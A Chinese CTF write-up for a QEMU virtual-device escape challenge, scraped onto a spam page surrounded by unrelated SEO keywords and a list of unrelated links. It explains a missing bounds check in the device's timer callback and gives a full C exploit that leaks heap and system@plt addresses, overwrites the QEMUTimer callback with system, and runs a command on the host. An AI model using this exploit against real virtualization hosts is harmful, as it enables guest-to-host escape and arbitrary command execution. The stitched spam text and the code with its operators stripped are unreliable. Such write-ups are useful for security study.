当前位置: 首页 > news >正文

南通网站建设排名公司哪家好零基础学室内设计

南通网站建设排名公司哪家好,零基础学室内设计,摄影网站怎么备案,建设网站哪个模板网站前言 虚拟机用户名#xff1a;root 虚拟机密码#xff1a;无密码 本题有符号#xff0c;所以对于设备定位啥的就不多说了#xff0c;直接逆向设备吧。 设备逆向 在 realize 函数中设置一个时钟任务#xff0c;并且可以看到只注册了 mmio#xff0c;大小为 0x100000。…前言 虚拟机用户名root 虚拟机密码无密码 本题有符号所以对于设备定位啥的就不多说了直接逆向设备吧。 设备逆向 在 realize 函数中设置一个时钟任务并且可以看到只注册了 mmio大小为 0x100000。 我们先看下设备结构体  FastCPState 在大小为 0x1000 的 CP_buffer 下定义了一个 QEMUTimer 结构体这里大概可以猜到就是劫持 cp_timer 了。 fastcp_mmio_read 该函数很简单就是读取 FastCPState-cp_state 中的值。 fastcp_mmio_write  该函数也很简单就是设置 FastCPState-cp_state 中的值并且当 addr 24 时会触发定时任务其会调用回调函数 fastcp_cp_timer。 fastcp_cp_timer 漏洞就在回调函数中在对物理内存进行读写的实话没有检查 CP_cnt 的大小从而导致越界读写。 漏洞利用 利用很简单程序本身有 system 导入符号。所以只需要 1、越界读 QEMUTimer 中的数据从而泄漏 FastCPState 地址和 systemplt 地址 2、越界写 QEMUTimer使得 cb systempltopaque CP_buffer并在 CP_buffer 中写好 cmd 3、触发时钟任务从而导致任意命令执行 exp 如下 #include stdio.h #include stdlib.h #include sys/mman.h #include fcntl.h #include stdint.h #include string.hvoid binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 (uint64_t *) addr;uint8_t *buf8 (uint8_t *) addr;if (desc ! NULL) {printf(\033[33m[*] %s:\n\033[0m, desc);}for (int i 0; i len / 8; i 4) {printf( %04x, i * 8);for (int j 0; j 4; j) {i j len / 8 ? printf( 0x%016lx, buf64[i j]) : printf( );}printf( );for (int j 0; j 32 j i * 8 len; j) {printf(%c, isprint(buf8[i * 8 j]) ? buf8[i * 8 j] : .);}puts();} }void * mmio_base; void mmio_init() {int fd open(/sys/devices/pci0000:00/0000:00:04.0/resource0, O_RDWR|O_SYNC);if (fd 0) puts([X] open for resource0), exit(EXIT_FAILURE);mmio_base mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base 0) puts([X] mmap for mmio), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x100000) 0) puts([X] mlock for mmio), exit(EXIT_FAILURE);printf([] mmio_base: %#p\n, mmio_base); }uint64_t gva_to_gpa(void* addr) {uint64_t page;int fd open(/proc/self/pagemap, O_RDONLY);if (fd 0) puts([X] open for pagemap), exit(EXIT_FAILURE);lseek(fd, ((uint64_t)addr 12 3), 0);read(fd, page, 8);return ((page ((1ULL 55) - 1)) 12) | ((uint64_t)addr ((1ULL 12) - 1)); }#define CP_list_cnt 16 #define cmd 24 #define CP_list_src 8struct CP_INFO {uint64_t CP_src;uint64_t CP_cnt;uint64_t CP_dst; };void mmio_write(uint64_t addr, uint64_t val) {*(uint64_t*)(mmio_base addr) val; }int main(int argc, char** argv, char** envp) {mmio_init();system(sysctl vm.nr_hugepages30);void * buf mmap(0, 512 * 0x1000, PROT_READ | PROT_WRITE , MAP_SHARED | MAP_ANONYMOUS | 0x40000, -1, 0);memset(buf, A, 0x2000);struct CP_INFO tmp;tmp.CP_src 0;tmp.CP_cnt 0x1020;tmp.CP_dst gva_to_gpa(buf);mmio_write(CP_list_src, gva_to_gpa(tmp));mmio_write(CP_list_cnt, 1);mmio_write(cmd, 4);sleep(1);binary_dump(QEMUTimer, (char*)buf0x1000, 0x20);uint64_t timer_list *(uint64_t*)((char*)buf0x10000x8);uint64_t system_plt *(uint64_t*)((char*)buf0x10000x10) - 0x4dce80 0x2c2180;uint64_t CP_buffer *(uint64_t*)((char*)buf0x10000x18) 0xa00;printf([] timer_list: %#p\n, timer_list);printf([] system_plt: %#p\n, system_plt);printf([] CP_buffer : %#p\n, CP_buffer);struct CP_INFO ttmp[0x11];for (int i 0; i 0x11; i){ttmp[i].CP_src gva_to_gpa(buf);ttmp[i].CP_cnt 0x1020;ttmp[i].CP_dst gva_to_gpa(buf);}char * scmd xcalc;strcpy(buf, scmd);*(uint64_t*)((char*)buf0x1000) 0xffffffffffffffff;*(uint64_t*)((char*)buf0x10000x8) timer_list;*(uint64_t*)((char*)buf0x10000x10) system_plt;*(uint64_t*)((char*)buf0x10000x18) CP_buffer;mmio_write(CP_list_cnt, 0x11);mmio_write(CP_list_src, gva_to_gpa(ttmp));mmio_write(cmd, 1);sleep(1);mmio_write(cmd, 1);return 0; } 效果如下 坑点 cpu_physical_memory_rw 函数是直接对物理内存进行读写所以当我们读取超过一页大小的数据时可能会由于物理内存不连续而导致无法正确读取数据或破坏其他数据。 所以这里得分配连续的物理页这里参考这篇博客即使用大页内存因为大页内存在物理上是连续的Linux申请大页内存(mmap)-腾讯云开发者社区-腾讯云
http://www.hkea.cn/news/14441029/

相关文章:

  • 网站建设贰金手指下拉贰拾wordpress企业营销主题
  • 江苏建设监理协会官方网站wordpress网站托管
  • 免费的建站平台企业网站开发北京
  • 未来网站发展方向app生成链接
  • 网站飘窗怎么做孝感网站建设孝感
  • 网站托管要求html5 服装网站
  • 网站开发维护前景怎么做好网站建设
  • 网站字体大小选择注册1千万的公司需要多少钱
  • 互联网 现代农业网站建设支付宝怎么做网站维护
  • 科技公司网站系统诸城网站建设多少钱
  • wordpress 门户网站源码中英文网站源码php
  • 宁波市住房和城乡建设厅网站设计案例分享网站
  • 滨海做网站的公司新东方英语线下培训学校
  • 百度联盟 网站备案保健品手机网站模板
  • 网站做最优是什么意思app服务器搭建教程
  • 如何做psd的模板下载网站跨境电商 网站开发
  • 品牌网站设计公司哪家什么是搜索引擎优化推广
  • 建设银行手机不用了怎么登陆网站襄阳优化公司
  • 济南长兴建设集团有限公司网站衡水网站制作与推广
  • 网站源码生成器网站设计资源
  • 苏州专业建设网站东莞网站设计费用
  • 建设局工程网站wordpress吾爱破解版
  • 芜湖市建设工程质量监督站官方网站选择好的佛山网站建设
  • 网站 后台 设计wordpress不要的代码注释掉
  • 做网站被骗首付款怎么报案微信开发小程序开发工具下载
  • 商务网站要怎么做wordpress数据多大后慢
  • 大连承接网站制作wordpress 返回列表
  • 为什么买的网站模版不好用平台网站开发方案
  • 重复打开同一个网站怎么做怎么写公司网站的文案
  • 南充市住房和城乡建设厅网站网站开发薪水一般多少钱